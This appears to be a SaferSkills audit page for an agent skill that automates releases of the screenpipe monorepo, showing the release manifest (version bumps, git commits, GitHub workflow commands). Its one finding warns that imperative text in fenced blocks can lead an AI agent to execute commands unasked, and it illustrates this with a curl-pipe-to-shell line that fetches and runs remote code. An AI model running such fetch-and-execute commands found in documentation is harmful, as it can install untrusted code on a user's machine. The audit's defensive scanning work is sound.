release — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited release (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Automate releasing all components of the screenpipe monorepo.
| Component | Version File | Current Pattern | Workflow |
|---|---|---|---|
| Desktop App | apps/screenpipe-app-tauri/src-tauri/Cargo.toml | version = "X.Y.Z" | release-app.yml |
| CLI/Server | Cargo.toml (workspace.package) | version = "0.2.X" | release-cli.yml |
| MCP | packages/screenpipe-mcp/package.json | "version": "X.Y.Z" | release-mcp.yml |
Always release CLI when there are changes to core screenpipe code:
screenpipe-core/screenpipe-vision/screenpipe-audio/screenpipe-server/screenpipe-db/screenpipe-events/screenpipe-integrations/App-only release is fine when changes are only in:
apps/screenpipe-app-tauri/ (UI/frontend changes)#[tauri::command] handlers: from apps/screenpipe-app-tauri/, run bun run bindings:generate and verify bun run bindings:check before taggingTo check what changed since last CLI release:
# Find last CLI release commit
git log --oneline --all | grep -E "CLI to v" | head -1
# Check if core code changed since then
git diff <COMMIT>..HEAD --stat -- screenpipe-core screenpipe-vision screenpipe-audio screenpipe-server screenpipe-db screenpipe-events screenpipe-integrationsecho "=== App ===" && grep '^version' apps/screenpipe-app-tauri/src-tauri/Cargo.toml | head -1
echo "=== CLI ===" && grep '^version' Cargo.toml | head -1
echo "=== MCP ===" && grep '"version"' packages/screenpipe-mcp/package.json | head -1Edit apps/screenpipe-app-tauri/src-tauri/Cargo.toml and bump the version = "X.Y.Z" line at the top of [package].
git add -A && git commit -m "Bump app to vX.Y.Z" && git pull --rebase && git pushPushing a commit whose message starts with Bump app or release-app to main triggers release-app.yml automatically (check_commit job gates on the prefix). The build is a draft only — does NOT auto-publish. Use the release-app-publish prefix to auto-publish instead.
Do NOT also run `gh workflow run release-app.yml` — it fires a second workflow_dispatch run on the same SHA, doubling the build. The push handles it.
# Get latest run ID
gh run list --workflow=release-app.yml --limit=1
# Check status
gh run view <RUN_ID> --json status,conclusion,jobs --jq '{status: .status, conclusion: .conclusion, jobs: [.jobs[] | {name: (.name | split(",")[0]), status: .status, conclusion: .conclusion}]}'After testing, publish via the Cloudflare R2 / backend dashboard, OR commit with magic words:
git commit --allow-empty -m "release-app-publish" && git push# 1. Bump version in apps/apps/screenpipe-app-tauri/src-tauri/Cargo.toml
# 2. Commit and push — the "Bump app" prefix triggers release-app.yml automatically
git add -A && git commit -m "Bump app to vX.Y.Z" && git push
# 3. Monitor
sleep 5 && gh run list --workflow=release-app.yml --limit=1Build <RUN_ID>:
| Platform | Status |
|----------|--------|
| macOS aarch64 | ✅ success / 🔄 in_progress / ❌ failure |
| macOS x86_64 | ✅ success / 🔄 in_progress / ❌ failure |
| Windows | ✅ success / 🔄 in_progress / ❌ failure |gh run view <RUN_ID> --log-failed 2>&1 | tail -100gh run cancel <RUN_ID>gh run rerun <RUN_ID> --failedThe CI copies tauri.prod.conf.json to tauri.conf.json before building. If artifacts are missing:
tauri.prod.conf.json has "createUpdaterArtifacts": truetauri.conf.json - Dev config (identifier: screenpi.pe.dev)tauri.prod.conf.json - Prod config (identifier: screenpi.pe, updater enabled)CI automatically uses prod config for releases by copying it before build.
Bump app or release-app pushed to main → Draft releaserelease-app-publish pushed to main → Auto-publish after successful buildworkflow_dispatch (manual gh workflow run) → Draft release (redundant with the push trigger; avoid using both).tar.gz/.sig, Windows uses .nsis.zip/.sig~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.